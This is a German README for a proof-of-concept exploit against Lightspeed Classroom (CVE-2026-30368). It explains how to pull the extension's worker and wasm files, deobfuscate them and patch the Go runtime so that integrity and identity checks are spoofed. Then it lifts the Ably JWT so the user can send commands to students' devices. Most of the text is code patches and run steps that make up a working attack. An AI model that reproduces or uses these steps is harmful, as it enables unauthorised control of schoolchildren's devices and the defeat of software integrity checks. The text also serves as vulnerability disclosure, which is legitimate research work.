
Proof-of-Concept-Exploit für CVE-2026-30368, das eine Authentifizierungsumgehung in Lightspeed Classroom demonstriert, um Schüler-Geräte über den Ably-Kanal zu steuern.
[!IMPORTANT]
Dies ist gepatcht und erfordert nun Anmeldedaten. Verwende den Workaround, um Aktionen an dir selbst durchzuführen.
CVE-2026-30368 ermöglicht es einem Angreifer, Schüler-Geräte über eine Schwachstelle in der schwachen Authentifizierung von Lightspeed Classroom zu kontrollieren. Der POC (poc.js) führt den Service Worker der LS Classroom-Erweiterung im globalen Kontext aus. Der Worker führt außerdem classroom.wasm für einige Funktionen aus. wasm-loader.js lädt den Worker und extrahiert das JWT-Token, das von classroom.wasm generiert wird. Sobald es extrahiert ist, wird der Worker beendet und das Token wird an die Lightspeed-APIs gesendet, um ein Token zu erhalten, das für die Verbindung zum Ably-Kanal des Ziels verwendet wird. Von dort aus könnte ein Angreifer einen Befehl an ein Schüler-Gerät senden. Die Liste der Befehle und viele weitere Informationen findest du im vollständigen Writeup hier.
Diese können nicht in diesem Repo enthalten sein, weil:
Um Probleme zu vermeiden, empfehle ich die Verwendung der Version 5.1.2.1763770643. Wenn du Hilfe bei der Anpassung neuerer Versionen benötigst, bist du auf dich allein gestellt.
Du kannst die Dateien worker.js und classroom.wasm aus dem Quellcode der Lightspeed-Erweiterung erhalten. Dies kann erreicht werden, indem du dich mit deinem Schulkonto in Chrome auf einem persönlichen Gerät anmeldest und dann den Erweiterungsquellcode aus dem Erweiterungsordner in deinem Chrome-Profilverzeichnis extrahierst. Du kannst die crx auch manuell über die Update-URL herunterladen.
Die einfachere Methode dieses Exploits besteht darin, zuerst classroom.wasm aus deinem Erweiterungsquellcode zu erhalten, es dann in dasselbe Verzeichnis wie wasm-only.js zu legen und auszuführen:
$ node wasm-only.js
Gib eine E-Mail-Adresse und eine Kundennummer ein, wenn du dazu aufgefordert wirst. Dies verbindet sich mit dem Ably-Kanal. Gehe zu Zeile 815 und kommentiere aus, was du senden möchtest. Credit: ktibow auf Discord
Sobald du die Dateien hast, füge sie einfach zum Verzeichnis des geklonten Repos hinzu. Du musst in wasm-loader.js zur getManifest()-Funktion gehen und dein Erweiterungsmanifest dort einfügen. Du musst außerdem die Erweiterungs-ID oben in wasm-loader.js hinzufügen.
Erstelle eine Kopie von worker.js mit einem Dateinamen deiner Wahl. Du wirst sie später benötigen. Du musst worker.js durch webcrack laufen lassen, um es zu deobfuskieren und zu deminifizieren, um die notwendigen Änderungen vorzunehmen. Stelle dabei sicher, dass du nur die Optionen "Deobfuscate" und "Unminify" auswählst. Bevor du das Ergebnis zurück in deinen Editor einfügst, wird empfohlen, alle LSP-Server zu deaktivieren, da sie zufällige Variablen entfernen und den Worker in späteren Phasen zum Absturz bringen (ich schaue dich an, vtsls...)
Da der Service Worker auf node.js ausgeführt wird (stelle sicher, dass du es installiert hast), muss er etwas gepatcht werden, damit er ordnungsgemäß läuft. Die JWT-Extraktionslogik muss ebenfalls hinzugefügt werden. Füge die folgenden 2 Funktionen ganz oben in worker.js hinzu:
function valueCallBefore(call, before, func, r) {
const actualWorkerUrl = 'chrome-extension://YOUR_EXTENSION_ID/worker_copy.js'
if (call[0] == "chrome-extension://YOUR_EXTENSION_ID/worker.js") {
return [actualWorkerUrl, call[1]];
}
if (func == chrome.identity.getProfileUserInfo) {
call[1](https://github.com/truekas/ls-poc/blob/master/identity)
return []
}
return before
}
function valueCallAfter(call, after, func, r) {
if (func.name == "toString"){
return 'function getProfileUserInfo() { [native code] }'
}
if (call[0] == "worker.js") {
return "chrome-extension://YOUR_EXTENSION_ID/worker_copy.js"
}
return after
}
Diese werden verwendet, wenn wir die wasm-Go-Laufzeit modifizieren, um Werte abzufangen und zu ändern, die von der LS-Classroom-wasm verwendet werden.
Stelle sicher, dass du YOUR_EXTENSION_ID durch deine Erweiterungs-ID und worker_copy.js durch den Dateinamen der Kopie des ursprünglichen worker.js ersetzt, die du zuvor erstellt hast.
Füge als Nächstes diese 2 Funktionen innerhalb der Haupt-Pfeilfunktion hinzu (nach dem (() => {):
chrome.runtime.getPlatformInfo = function (e) {
e({
"arch": "x86-64",
"nacl_arch": "x86-64",
"os": "cros"
})
return {
"arch": "x86-64",
"nacl_arch": "x86-64",
"os": "cros"
}
}
chrome.identity.getProfileUserInfo = function (e) {
if (e){
e(identity)
} else {
return identity
}
}
Als Nächstes musst du IsClassroomActive auf true fest codieren, damit du dies außerhalb von Campus-Netzwerken ausführen kannst. Ändere einfach die Funktion so, dass sie immer true zurückgibt:
_0x22e7ce.exports = {
IsChromebookOnly: _0x218c73,
IsClassroomActive: function () {
return true;
},
LoadPolicy: _0x9069fc
};
Suche dann nach syscall/js.valueCall, um die valueCall-Funktion zu finden, die modifiziert werden muss. Dies informiert die wasm über einen JS-Wert. Die 2 Werte, die durch die Modifikation dieser Funktion abgefangen und geändert werden, sind der Pfad von worker.js (er wird in die Kopie deines Workers geändert, damit der Hash-Check besteht) und der Wert von chrome.identity.getProfileUserInfo.toString wird so geändert, dass er native code sagt, damit die WASM glaubt, dass sie vertrauenswürdig ist, obwohl sie in Wirklichkeit oben in der Datei modifiziert wurde. Dazu musst du die Funktionen valueCallBefore und valueCallAfter verwenden, die wir oben definiert haben. Modifiziere die valueCall-Funktion wie folgt (Variablennamen können variieren, aber die Struktur ist dieselbe):
"syscall/js.valueCall": function (_0x4b3309) {
_0x4b3309 >>>= 0;
try {
var _0x35f3af = _0x3634e7(_0x4b3309 + 8);
var _0x13b354 = Reflect.get(_0x35f3af, _0x221273(_0x4b3309 + 16));
var _0x369f3d = _0x5a331c(_0x4b3309 + 32);
_0x369f3d = valueCallBefore(_0x369f3d, _0x369f3d, _0x13b354, _0x35f3af);
var _0x1b573a = Reflect.apply(_0x13b354, _0x35f3af, _0x369f3d);
_0x1b573a = valueCallAfter(_0x369f3d, _0x1b573a, _0x13b354, _0x35f3af);
_0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
_0x51c0ee(_0x4b3309 + 56, _0x1b573a);
_0x489a1f.mem.setUint8(_0x4b3309 + 64, 1);
} catch (_0x4b14cb) {
_0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
_0x51c0ee(_0x4b3309 + 56, _0x4b14cb);
_0x489a1f.mem.setUint8(_0x4b3309 + 64, 0);
}
},
Fast geschafft. Zuletzt musst du Code hinzufügen, um das JWT zu erfassen. Suche nach echoMessages: false und du wirst die Variable finden, die die Liste der an Ably gesendeten Header enthält. Direkt darunter füge diese Zeile hinzu (die Variablennamen werden höchstwahrscheinlich nicht korrekt sein, du kannst dieselbe Zeile finden, die auf ablyJwt in authHeaders zugreift):
globalThis.__LIGHTSPEED_JWT__ = _0xed754d("ablyJwt");
Dies weist das JWT einer Variable im globalen Gültigkeitsbereich zu, sodass wasm-loader.js (das "Harness", das den Service Worker ausführt) darauf zugreifen kann. Damit ist die Modifikation des Workers abgeschlossen. Stelle sicher, dass alle deine LSPs noch deaktiviert sind. Wenn sie wieder aktiviert wurden, kannst du später Probleme mit undefinierten Variablen bekommen.